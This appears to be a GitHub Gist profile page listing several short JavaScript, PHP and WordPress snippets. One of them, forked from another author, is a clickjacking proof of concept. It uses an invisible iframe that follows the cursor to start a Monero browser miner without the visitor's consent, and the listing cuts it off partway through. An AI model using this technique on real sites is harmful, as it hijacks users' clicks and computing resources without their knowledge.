Skip to content

Instantly share code, notes, and snippets.

View al5dy's full-sized avatar

Anton Lokotkov al5dy

View GitHub Profile
@al5dy
al5dy / custom.js
Created March 8, 2023 07:58
Allow input only numbers, dot and comma for field
$("[data-allow-comma]").on("keypress keyup blur",function (event) {
$(this).val($(this).val().replace(/[^0-9\.|\,]/g,''));
if(event.which == 44)
{
return true;
}
if ((event.which != 46 || $(this).val().indexOf('.') != -1) && (event.which < 48 || event.which > 57 )) {
event.preventDefault();
@al5dy
al5dy / index.php
Created March 13, 2018 20:40
Простой бинарный поиск
function binary_search($list, $item) {
$min = 0;
$max = count($list)-1;
while($min <= $max) {
$middle = round(($min+$max)/2);
$guess = $list[$middle];
if($guess === $item) {
return 'index - ' .$middle . ', value -' . $item;
} elseif ($guess > $item) {
@al5dy
al5dy / common.js
Last active January 2, 2018 04:52
Шифр Хилла на JavaScript
function hill(string, key) {
'use strict';
if(!string || !key && !string.length > 0 || !key.length>0)
return;
var s = this,
w = '',
a = ['','a','b','c','d','e','f','g','h','i','j','k','l','m','n','o','p','q','r','s','t','u','v','w','x','y','z','.',',','?','%','/',':','-','&','7','1'],
u = string.split(''),
@al5dy
al5dy / functions.php
Last active January 2, 2018 04:55
WordPress функция перевода HEX в RGB/A цвет
if ( ! function_exists( 'hex_to_rgb' ) ) {
function hex_to_rgb( $hex_color, $normal = false, $opacity = 1 ) {
$hex_int = hexdec( sanitize_hex_color($hex_color) );
$rgb = array( 'red' => 0xFF & ( $hex_int >> 0x10 ), 'green' => 0xFF & ( $hex_int >> 0x8 ), 'blue' => 0xFF & $hex_int );
if($normal) {
$opacity_value = is_numeric($opacity) ? $opacity : 1;
$rgb = 'rgba('. implode(',', array_values($rgb)) .','. $opacity_value .')';
}
return $rgb;
}
@al5dy
al5dy / clickjack-authedmine.html
Created October 31, 2017 08:32 — forked from bcoles/clickjack-authedmine.html
Start the AuthedMine JavaScript Monero miner without user consent (using clickjacking)
<html>
<body>
<div id="container" style="border:0;margin:0;position:absolute;width:5px;height:5px;overflow:hidden;cursor:pointer;opacity:0.01">
<iframe style="position:absolute;border:0;width:5px;height:100px;top:-85px;cursor:pointer;" src="https://authedmine.com/media/miner.html?key=your_public_key"></iframe>
</div>
</body>
<script>
window.onmousemove = function(e) {
var container = document.getElementById("container");
@al5dy
al5dy / wcmp-tags.php
Created August 29, 2017 11:41
Загрузить *.sql файл из FTP в БД
<?php
// Name of the file
$filename = 'churc.sql';
// MySQL host
$mysql_host = 'localhost';
// MySQL username
$mysql_username = 'root';
// MySQL password
$mysql_password = '';
@al5dy
al5dy / class-tgm-plugin-activation.php
Last active September 29, 2023 12:08
TGM 'Warning: sprintf(): Too few arguments...' bugfix
/**
* Sets install skin strings for each individual plugin.
*
* Checks to see if the automatic activation flag is set and uses the
* the proper strings accordingly.
*
* @since 2.2.0
*/
public function add_strings() {
if ( 'update' === $this->options['install_type'] ) {
@al5dy
al5dy / woocommerce.php
Created May 1, 2017 20:28
Удаляем попап изображения в карточке товара
<?php
remove_theme_support( 'wc-product-gallery-lightbox' );
@al5dy
al5dy / woocommerce.php
Created May 1, 2017 20:26
Убираем zoom на карточке продукта
<?php
remove_theme_support( 'wc-product-gallery-zoom' );
@al5dy
al5dy / vc_custom_icon_set.php
Created February 13, 2017 16:00 — forked from zecka/vc_custom_icon_set.php
Add a custom icon set from icomoon to visual composer vc_icon shortcode
<?php
// Add new custom font to Font Family selection in icon box module
function zeckart_add_new_icon_set_to_iconbox( ) {
$param = WPBMap::getParam( 'vc_icon', 'type' );
$param['value'][__( 'IcoMoon', 'total' )] = 'icomoon';
vc_update_shortcode_param( 'vc_icon', $param );
}
add_filter( 'init', 'zeckart_add_new_icon_set_to_iconbox', 40 );